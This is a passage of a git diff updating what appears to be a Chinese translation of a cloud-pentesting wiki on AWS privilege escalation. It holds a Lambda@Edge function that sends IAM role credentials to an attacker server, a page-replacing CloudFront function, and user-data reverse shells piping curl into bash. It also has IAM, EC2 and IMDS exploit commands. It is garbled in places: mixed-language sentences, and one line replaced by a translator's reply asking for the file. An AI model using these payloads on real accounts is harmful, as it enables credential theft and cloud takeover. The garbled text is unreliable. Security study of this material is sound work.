\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# 在 CloudFront 中创建恶意函数
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# 获取函数在 DEVELOPMENT 阶段的 ETag
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# 将函数发布到 LIVE 阶段
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# 打包 Lambda@Edge 函数
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# 使用特权角色创建 Lambda@Edge 函数
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# 发布函数的一个版本
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# 应用已更新的 distribution 配置(必须使用当前 ETag)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# 通过请求 distribution 来触发函数
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 170833bf1..7d55c5108 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-欲了解更多 **关于 EC2 的信息**,请查看:
+有关 **EC2 的更多信息**,请查看:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@
### `iam:PassRole`, `ec2:RunInstances`
-攻击者可以**创建一个实例并附加一个 IAM role,然后访问该实例**,从元数据端点窃取 IAM role 凭证。
+攻击者可以**创建一个附加了 IAM role 的实例并访问该实例**,从 metadata endpoint 窃取 IAM role 的凭据。
- **通过 SSH 访问**
-使用已创建的 **ssh key** (`--key-name`) 启动一个新实例,然后通过 ssh 登录该实例(如果你想创建新的 key,可能需要权限 `ec2:CreateKeyPair`)。
+使用一个**已创建的** **ssh key** (`--key-name`) 启动一个新实例,然后 ssh 登录到该实例(如果你想创建一个新的 ssh key,可能需要权限 `ec2:CreateKeyPair`)。
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **通过 user data 中的 rev shell 访问**
+- **Access via rev shell in user data**
-你可以使用 **user data** (`--user-data`) 启动一个新实例,使其向你发送一个 **rev shell**。通过这种方式你不需要指定 security group。
+你可以使用 **user data** (`--user-data`) 启动一个新实例,该实例会向你发送一个 **rev shell**。通过这种方式你不需要指定 security group。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-如果在实例外使用 IAM role 的凭证,请注意 GuradDuty:
+如果在实例外使用 IAM role 的凭证,请小心 GuradDuty:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**潜在影响:** 直接对附加到现有 instance profiles 的任意 EC2 role 进行 privesc。
+**潜在影响:** Direct privesc 到附加在现有 instance profiles 的任何 EC2 role。
#### Privesc to ECS
-通过这组权限,你还可以**创建一个 EC2 instance 并将其注册到 ECS cluster 中**。这样,ECS **services** 会在你可以访问的 **EC2 instance** 中 **运行**,然后你可以渗透这些服务(docker containers),并**窃取它们附着的 ECS roles**。
+有了这组权限,你还可以 **create an EC2 instance and register it inside an ECS cluster**。这样,ECS **services** 会在你可访问的 **EC2 instance** 中 **run**,然后你可以渗透这些服务(docker containers)并 **steal their ECS roles attached**。
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-要了解如何**强制 ECS services 在这个新的 EC2 实例上运行**,请查看:
+要了解如何**在此新的 EC2 实例上强制运行 ECS 服务**,请查看:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-如果你**无法创建新的实例**但拥有权限 `ecs:RegisterContainerInstance`,你可能能够将该实例注册到集群中并执行前述攻击。
+如果你**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`,你可能能够将该实例注册到集群中并执行所述攻击。
-**潜在影响:** 直接对附加到任务的 ECS roles 造成 privesc。
+**Potential Impact:** 直接 privesc 到附加在任务上的 ECS 角色。
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-与前一种情形类似,拥有这些权限的攻击者可以**更改被攻陷实例的 IAM role**,从而窃取新的凭证。\
-由于 instance profile 只能有 1 个 role,如果 instance profile **已经有一个 role**(常见情况),你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
+与之前的情形类似,拥有这些权限的攻击者可以**更改被攻陷实例的 IAM 角色**,从而窃取新的凭证。\
+由于 instance profile 只能有 1 个角色,如果 instance profile **已经有角色**(常见情况),你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-如果 **instance profile has a role** 且攻击者 **cannot remove it**,还有另一种变通方法。他可以 **find** 一个 **instance profile without a role** 或 **create a new one** (`iam:CreateInstanceProfile`),将该 **role** **add** 到该 **instance profile**(如前所述),并将该被占用的 **instance profile** 关联到被攻陷的 i**nstance:**
+如果 **实例配置文件有角色** 并且攻击者 **无法移除它**,存在另一种变通方法。
+他可以 **找到** 一个 **没有角色的实例配置文件** 或 **创建一个新的** (`iam:CreateInstanceProfile`),**将该角色添加到该实例配置文件**(如前所述),并 **将该实例配置文件关联** 到被攻陷的 **实例:**
-- 如果该 instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- 如果该 **实例没有任何实例配置文件** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potential Impact:** 直接 privesc 到不同的 EC2 role(你需要已攻陷一个 AWS EC2 实例,并且具备一些额外权限或特定的 instance profile 状态)。
+**潜在影响:** 直接 privesc 到不同的 EC2 角色(你需要已攻陷一台 AWS EC2 实例,并拥有额外权限或特定的实例配置文件状态)。
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-拥有这些权限可以更改与实例关联的 instance profile,因此如果攻击者已经取得某个实例的访问权限,他就能够通过替换该实例关联的 instance profile 来窃取更多 instance profile roles 的凭证。
+具有这些权限可以更改关联到实例的实例配置文件,因此如果攻击者已经访问了该实例,他将能够通过更改其关联的实例配置文件来窃取更多角色的凭证。
-- 如果它 **有 instance profile**,你可以 **移除** 该 instance profile (`ec2:DisassociateIamInstanceProfile`) 并 **关联** 它
+- 如果它 **有实例配置文件**,你可以 **移除** 该实例配置文件(`ec2:DisassociateIamInstanceProfile`)并 **关联** 它
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- 或 **替换** 被攻陷的实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`).
+- 或 **替换** 已被入侵实例的 **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potential Impact:** 直接提升权限到不同的 EC2 role(你需要已攻破一台 AWS EC2 实例并拥有一些额外权限或特定的 instance profile 状态)。
+**Potential Impact:** 直接 privesc 到另一个 EC2 role(你需要已入侵一个 AWS EC2 instance,并且拥有额外权限或特定的 instance profile status)。
### `ec2:RequestSpotInstances`,`iam:PassRole`
-拥有 **`ec2:RequestSpotInstances`和`iam:PassRole`** 权限的攻击者可以 **请求** 一个 **Spot Instance**,附带一个 **EC2 Role attached**,并在 **user data** 中放入一个 **rev shell**。\
-一旦实例运行,他就可以 **窃取 IAM role**。
+拥有 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 权限的攻击者可以 **请求** 一个附有 **EC2 Role** 的 **Spot Instance**,并在 **user data** 中放入一个 **rev shell**。\
+实例运行后,攻击者可以 **窃取该 IAM role**。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +120,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中,他可以**更改 user data**,这意味着他可以使实例**运行任意代码**,从而可用于获得一个 **rev shell to the EC2 instance**。
+拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中,他可以 **change the user data**,这意味着他可以让实例 **run arbitrary data**,从而可用于获得对 **rev shell to the EC2 instance**。
-注意这些属性只能在实例停止时修改,因此需要 **`ec2:StopInstances`** 和 **`ec2:StartInstances`** 权限。
+注意,这些属性只能在实例停止时被修改,因此需要 **`ec2:StopInstances`** 和 **`ec2:StartInstances`** 权限。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potential Impact:** 直接对任何附加到已创建实例的 EC2 IAM Role 进行 privesc。
+**潜在影响:** 直接提权到附加到被创建实例的任何 EC2 IAM Role。
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-拥有 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 权限的攻击者可以创建一个 **新的 Launch Template 版本**,在 **user data** 中放入 **rev shell** 并附加 **任意 EC2 IAM Role**,更改默认版本。任何 **Autoscaler group** **使用** 该 **Launch Template** 且 **配置** 为使用 **latest** 或 **default version** 时,会 **重新运行实例** 并执行该 rev shell。
+具有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **new Launch Template version**,在 **user data** 中放入 **rev shell in** 并附加 **any EC2 IAM Role on it**,修改默认版本,然后任何 **any Autoscaler group** **using** 该 **Launch Templat**e、且被 **configured** 为使用 **latest** 或 **default version** 的都会 **re-run the instances** 来使用该模板并执行 rev shell。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +177,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potential Impact:** 直接提权到另一个 EC2 角色。
+**可能影响:** 直接 privesc 到另一个 EC2 role。
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-具有权限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 的攻击者可以 **create a Launch Configuration**,在其中放入一个 **IAM Role** 和 位于 **user data** 中的 **rev shell**,然后从该配置 **create an autoscaling group**,并等待 rev shell 去 **steal the IAM Role**。
+具有权限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 的攻击者可以 **create a Launch Configuration**,在 **user data** 中放入带有 **IAM Role** 的 **rev shell**,然后从该配置 **create an autoscaling group** 并等待 rev shell **steal the IAM Role**。
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +197,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Potential Impact:** 直接将 privesc 升级到不同的 EC2 role。
+**Potential Impact:** 直接 privesc 到 不同 EC2 角色。
### `!autoscaling`
-权限集合 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以将权限提升** 到一个 IAM 角色,因为要附加在 Launch Configuration 或 Launch Template 中指定的角色,**你需要权限 `iam:PassRole` 和 `ec2:RunInstances`**(这是已知的 privesc)。
+这组权限 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **并不足以 提权** 到 IAM 角色,因为为了在 Launch Configuration 或 Launch Template 中附加指定的角色,**你需要 权限 `iam:PassRole`and `ec2:RunInstances`**(这是已知的 privesc)。
### `ec2-instance-connect:SendSSHPublicKey`
-拥有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向某个用户添加 ssh 密钥,并使用它进行访问(如果他对实例有 ssh 访问权限)或用于提权。
+拥有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向用户添加 ssh 密钥,并在对该实例有 ssh 访问权限时使用该密钥进行访问,或用来提升权限。
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**潜在影响:** 直接 privesc 到附加在运行实例上的 EC2 IAM roles。
+**潜在影响:** 对附加到正在运行实例的 EC2 IAM roles 直接进行 privesc。
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-拥有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **将 ssh key 添加到串行控制台连接上**。如果串行控制台未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess` 来启用它**。
+具有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **向串行连接添加 ssh 密钥**。如果串行控制台未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess`** 才能启用它。
-要连接到串行端口,您还**需要知道机器内部某个用户的 username 和 password**。
+要连接到串行端口,你还 **需要知道机器内某个用户的用户名和密码**。
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-这种方式对 privesc 并不是很有用,因为你需要知道用户名和密码才能利用它。
+这种方法对 privesc 并不是很有用,因为你需要知道用户名和密码才能利用它。
-**潜在影响:**(很难证实)直接对附加到运行中实例的 EC2 IAM roles 实现 privesc。
+**潜在影响:**(高度无法证实)直接对附加到运行实例的 EC2 IAM roles 进行 privesc。
### `describe-launch-templates`,`describe-launch-template-versions`
-由于 launch templates 有版本控制,具有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用它们来发现敏感信息,例如存在于 user data 中的凭证。为此,下面的脚本会遍历所有可用 launch templates 的版本:
+由于 launch templates 具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如存在于 user data 中的凭据。为此,下面的脚本会遍历可用 launch templates 的所有版本:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +249,24 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-在上面的命令中,虽然我们指定了某些模式(`aws_|password|token|api`),但你可以使用不同的正则来搜索其他类型的敏感信息。
+在上述命令中,尽管我们指定了某些模式(`aws_|password|token|api`),你可以使用不同的正则表达式来搜索其他类型的敏感信息。
-假设我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`,我们可以使用这些凭证来认证到 AWS。
+假设我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`,我们可以使用这些凭证来对 AWS 进行身份验证。
-**潜在影响:** 直接对 IAM 用户的提权。
+**潜在影响:** 直接对 IAM 用户进行权限提升。
-## 参考资料
+## 参考
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-
-
-
-
### `ec2:ModifyInstanceMetadataOptions` (IMDS 降级以启用 SSRF 凭证窃取)
-攻击者如果能够对受害者的 EC2 实例调用 `ec2:ModifyInstanceMetadataOptions`,可以通过启用 IMDSv1(`HttpTokens=optional`)并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样运行在实例上的应用常见的 SSRF/代理路径就能访问实例元数据端点。如果攻击者能在此类应用中触发 SSRF,就能检索到实例配置文件凭证并利用它们进行横向移动。
+攻击者如果能够在受害者的 EC2 实例上调用 `ec2:ModifyInstanceMetadataOptions`,可以通过启用 IMDSv1(`HttpTokens=optional`)并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样,实例元数据端点就可以通过运行在实例上的应用程序常见的 SSRF/代理路径访问。如果攻击者能在此类应用中触发 SSRF,就能检索 instance profile 凭证并用其进行横向移动。
-- 所需权限:在目标实例上拥有 `ec2:ModifyInstanceMetadataOptions`(以及能够到达/触发宿主上的 SSRF)。
+- 所需权限:在目标实例上有 `ec2:ModifyInstanceMetadataOptions`(以及能够在主机上到达/触发 SSRF 的能力)。
- 目标资源:附有 instance profile(IAM role)的运行中 EC2 实例。
-示例命令:
+命令示例:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -297,5 +293,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-潜在影响:通过 SSRF 窃取 instance profile credentials,导致利用 EC2 role permissions 实现权限提升和横向移动。
+潜在影响:通过 SSRF 窃取实例配置文件凭证,从而利用 EC2 角色权限实现权限提升和横向移动。
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+拥有 `ec2:ModifyInstanceMetadataOptions` 权限的攻击者可以削弱 Instance Metadata Service (IMDS) 的保护 — 例如强制使用 `IMDSv1`(使 `HttpTokens` 不再必需)或增加 `HttpPutResponseHopLimit` — 从而便于外泄临时凭证。最相关的风险向量是提高 `HttpPutResponseHopLimit`:通过增加该 hop 限制(TTL),`169.254.169.254` 端点不再严格限制在 VM 的网络命名空间内,并可能被其他进程/容器访问,从而导致凭证被窃取。
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+拥有 ec2:ModifyImageAttribute 和 ec2:ModifySnapshotAttribute 权限的攻击者可以将 AMIs 或 snapshots 与其他 AWS 账户共享(甚至将其设为公开),从而暴露可能包含敏感数据的镜像或卷,例如配置、凭证、证书或备份。通过修改 AMI 的 launch permissions 或 snapshot 的 create-volume permissions,攻击者允许第三方从这些资源启动 instances 或挂载磁盘并访问其内容。
+
+要将 AMI 与另一个账户共享:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+要与另一个账户共享 EBS 快照:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 1947ae775..25dc30821 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,34 +12,34 @@
### **`iam:CreatePolicyVersion`**
-授予创建新的 IAM 策略版本的能力;通过使用 `--set-as-default` 标志可以绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这样可以定义自定义权限。
+授予创建新的 IAM 策略版本的能力,通过使用 `--set-as-default` 标志可绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这允许定义自定义权限。
-**Exploit Command:**
+**利用命令:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**影响:** 直接提升权限,允许对任何资源执行任何操作。
+**影响:** 直接提升权限,允许对任何资源执行任何操作。
### **`iam:SetDefaultPolicyVersion`**
-允许将 IAM 策略的默认版本更改为另一个已存在的版本,如果新版本拥有更多权限,可能会提升权限。
+允许将 IAM 策略的默认版本更改为另一个已存在的版本,如果新版本具有更多权限,可能会导致权限提升。
-**Bash 命令:**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impact:** 间接权限提升,通过授予更多权限实现。
+**Impact:** 通过授予更多权限间接导致 privilege escalation.
### **`iam:CreateAccessKey`**
-允许为其他用户创建 access key ID 和 secret access key,可能导致权限提升。
+允许为其他用户创建 access key ID 和 secret access key,从而可能导致 privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**影响:** 通过假设另一个用户的扩展权限实现直接 privilege escalation。
+**影响:** 通过假定另一个用户的扩展权限实现直接 privilege escalation。
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
@@ -55,55 +55,55 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**影响:** Direct privilege escalation(通过以“任意”用户登录)。
+**Impact:** 通过以 "any" 用户登录直接进行特权升级。
### **`iam:UpdateAccessKey`**
-允许启用已禁用的访问密钥,如果攻击者持有该已禁用的密钥,可能导致未经授权的访问。
+允许启用已禁用的访问密钥,如果攻击者持有该已禁用密钥,可能导致未授权访问。
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**影响:** Direct privilege escalation by reactivating access keys.
+**影响:** 通过重新激活 access keys,直接造成 privilege escalation。
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-允许为特定 AWS 服务(例如 CodeCommit、Amazon Keyspaces)生成或重置 credentials,并继承关联用户的 permissions。
+允许为特定 AWS 服务(例如 CodeCommit、Amazon Keyspaces)生成或重置凭证,并继承关联用户的权限。
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**用于重置的 Exploit:**
+**Exploit 用于 Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impact:** 在用户的服务权限范围内直接提升权限。
+**Impact:** 直接在用户的服务权限范围内进行权限提升。
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-允许将策略附加到用户或组,通过继承所附策略的权限直接提升权限。
+允许将策略附加到用户或组,从而通过继承所附策略的权限直接提升权限。
-**Exploit 针对用户:**
+**针对用户的利用:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit 用于组:**
+**Group 的 Exploit:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**影响:** 对策略授予的任何内容进行直接权限提升。
+**影响:** 直接 privilege escalation 到策略授予的任何权限。
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-允许将策略附加或添加到角色、用户或组,从而通过授予额外权限实现直接权限提升。
+允许将策略附加或放置到角色、用户或组上,从而通过授予额外权限实现直接 privilege escalation。
-**针对角色的利用:**
+**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**针对 Inline Policies 的 Exploit:**
+**Exploit:针对内联策略**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-你可以使用如下策略:
+我需要该 README.md 的内容才能翻译。请把文件内容或需翻译的片段粘贴到这里。注意:我会保留所有 markdown/html 标签、links、paths、不翻译 code、技术名、云平台名等。
```json
{
"Version": "2012-10-17",
@@ -137,18 +137,18 @@ aws iam put-role-policy --role-name --policy-name "" \
```bash
aws iam add-user-to-group --group-name --user-name
```
-**影响:** 直接将特权提升到该组的权限级别。
+**影响:** 直接将权限提升到该组的权限级别。
### **`iam:UpdateAssumeRolePolicy`**
-允许修改角色的信任策略文档(assume role policy document),使得可以假设该角色并获得其关联权限。
+允许修改角色的 AssumeRole 策略文档(信任策略),从而使得可以假设该角色并获得其关联权限。
**利用:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-当策略如下所示时,它授予该用户假设该角色的权限:
+当策略如下所示时,它授予用户假设该角色的权限:
```json
{
"Version": "2012-10-17",
@@ -163,7 +163,7 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**影响:** 通过假定任何角色的权限实现直接权限提升。
+**Impact:** 通过假定任意角色的权限实现直接权限提升。
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
@@ -173,17 +173,17 @@ aws iam update-assume-role-policy --role-name \
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit 用于 MFA 停用:**
+**Exploit(用于 MFA 停用):**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**影响:** 间接提权,可能通过启用 CodeCommit 访问或禁用 MFA 保护实现。
+**影响:** 通过启用 CodeCommit 访问或禁用 MFA 保护,间接提升权限。
### **`iam:ResyncMFADevice`**
-允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接提权。
+允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接权限提升。
-**Bash Command:**
+**Bash 命令:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
